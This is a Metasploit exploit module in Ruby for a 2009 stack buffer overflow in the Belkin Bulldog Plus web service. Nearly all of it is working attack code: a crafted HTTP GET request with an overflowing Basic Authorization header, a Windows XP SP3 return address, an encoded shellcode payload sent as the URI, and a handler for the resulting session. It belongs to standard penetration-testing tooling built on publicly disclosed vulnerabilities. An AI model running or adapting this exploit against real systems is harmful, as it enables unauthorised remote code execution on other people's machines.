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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Belkin Bulldog Plus Web Service Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Belkin Bulldog Plus
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        4.0.2 build 1219. When sending a specially crafted http request,
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        an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'OSVDB', '54395' ],
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          [ 'BID', '34033' ],
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          [ 'EDB', '8173' ]
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'AllowWin32SEH' => true
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        },
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      'Payload'        =>
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        {
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          'Space'    => 750,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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          'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
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          'DisableNops'  =>  'True',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2009-03-08'))
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  end
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  def exploit
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    c = connect
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    dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string
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    filler = [target.ret].pack('V') + dwerd + make_nops(28)
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    print_status("Trying target #{target.name}...")
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    send_request_raw({
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      'uri'          => payload.encoded,
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      'version'      => '1.1',
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      'method'       => 'GET',
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      'headers'      =>
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      {
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        'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
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      }
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    }, 5)
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    handler
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  end
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end
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